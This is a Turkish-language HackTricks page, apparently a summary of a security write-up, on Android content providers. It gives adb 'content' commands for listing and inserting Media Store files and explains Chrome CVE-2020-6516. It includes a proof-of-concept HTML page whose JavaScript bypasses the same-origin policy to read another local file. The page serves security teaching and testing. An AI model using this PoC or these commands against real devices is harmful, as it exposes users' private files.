hacktricks/mobile-pentesting/android-app-pentesting/content-protocol.md

6.5 KiB
Raw Blame History

Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

{% embed url="https://websec.nl/" %}

Bu, https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/ gönderisinin özeti.

Ortam Mağazasındaki Dosyaların Listelenmesi

Ortam Mağazası tarafından yönetilen dosyaları listelemek için aşağıdaki komut kullanılabilir:

$ content query --uri content://media/external/file

Daha insan dostu bir çıktı için yalnızca dizinlenen her dosyanın tanımlayıcısını ve yolunu görüntüleme:

$ content query --uri content://media/external/file --projection _id,_data

İçerik Sağlayıcıları

İçerik sağlayıcıları kendi özel ad alanlarında izole edilmiştir. Bir sağlayıcıya erişim belirli content:// URI'si gerektirir. Bir sağlayıcıya erişmek için gerekli yol bilgileri, uygulama manifestolarından veya Android çerçevesinin kaynak kodundan elde edilebilir.

Chrome'un İçerik Sağlayıcılara Erişimi

Android'deki Chrome, üçüncü taraf uygulamalar tarafından dışa aktarılan fotoğraflar veya belgeler gibi kaynaklara erişmesine izin veren content:// şeması aracılığıyla içerik sağlayıcılarına erişebilir. Bunu göstermek için bir dosya Medya Deposuna eklenip ardından Chrome üzerinden erişilebilir:

Medya Deposuna özel bir giriş ekleyin:

cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain

Yeni eklenen dosyanın kimliğini keşfedin:

content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt

Dosya daha sonra dosyanın tanımlayıcısı kullanılarak oluşturulan bir URL kullanılarak Chrome'da görüntülenebilir.

Örneğin, belirli bir uygulamayla ilgili dosyaları listelemek için:

content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>

Chrome CVE-2020-6516: Aynı Köken Politikası Atlatma

Aynı Köken Politikası (SOP), tarayıcılardaki bir güvenlik protokolüdür ve bir Çapraz-Köken-Kaynak-Paylaşımı (CORS) politikası tarafından açıkça izin verilmedikçe web sayfalarının farklı kökenlerden kaynaklarla etkileşmesini kısıtlar. Bu politika, bilgi sızıntılarını ve çapraz site istek sahteciliğini önlemeyi amaçlar. Chrome, content://'yi yerel bir şema olarak kabul eder ve her yerel şema URL'sinin ayrı bir köken olarak işlendiği daha katı SOP kuralları ima eder.

Ancak, CVE-2020-6516, Chrome'da content:// URL'si aracılığıyla yüklenen kaynaklar için SOP kurallarının atlatılmasına izin veren bir güvenlik açığıydı. Sonuç olarak, bir content:// URL'sinden JavaScript kodu, özellikle Android 10'dan önceki sürümlerde uygulanmayan kapsamlı depolama olmadığı durumlarda, diğer content:// URL'si aracılığıyla yüklenen diğer kaynaklara erişebilirdi, bu da önemli bir güvenlik endişesi oluşturuyordu.

Aşağıdaki kavram kanıtı, bir HTML belgesinin, /sdcard altına yüklendikten ve Medya Deposuna ekledikten sonra, JavaScript içindeki XMLHttpRequest kullanarak Medya Deposundaki başka bir dosyanın içeriğine erişip gösterdiği bu güvenlik açığı göstermektedir, SOP kurallarını atlayarak.

Kavram Kanıtı HTML:

<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}

xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>

{% embed url="https://websec.nl/" %}

Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları: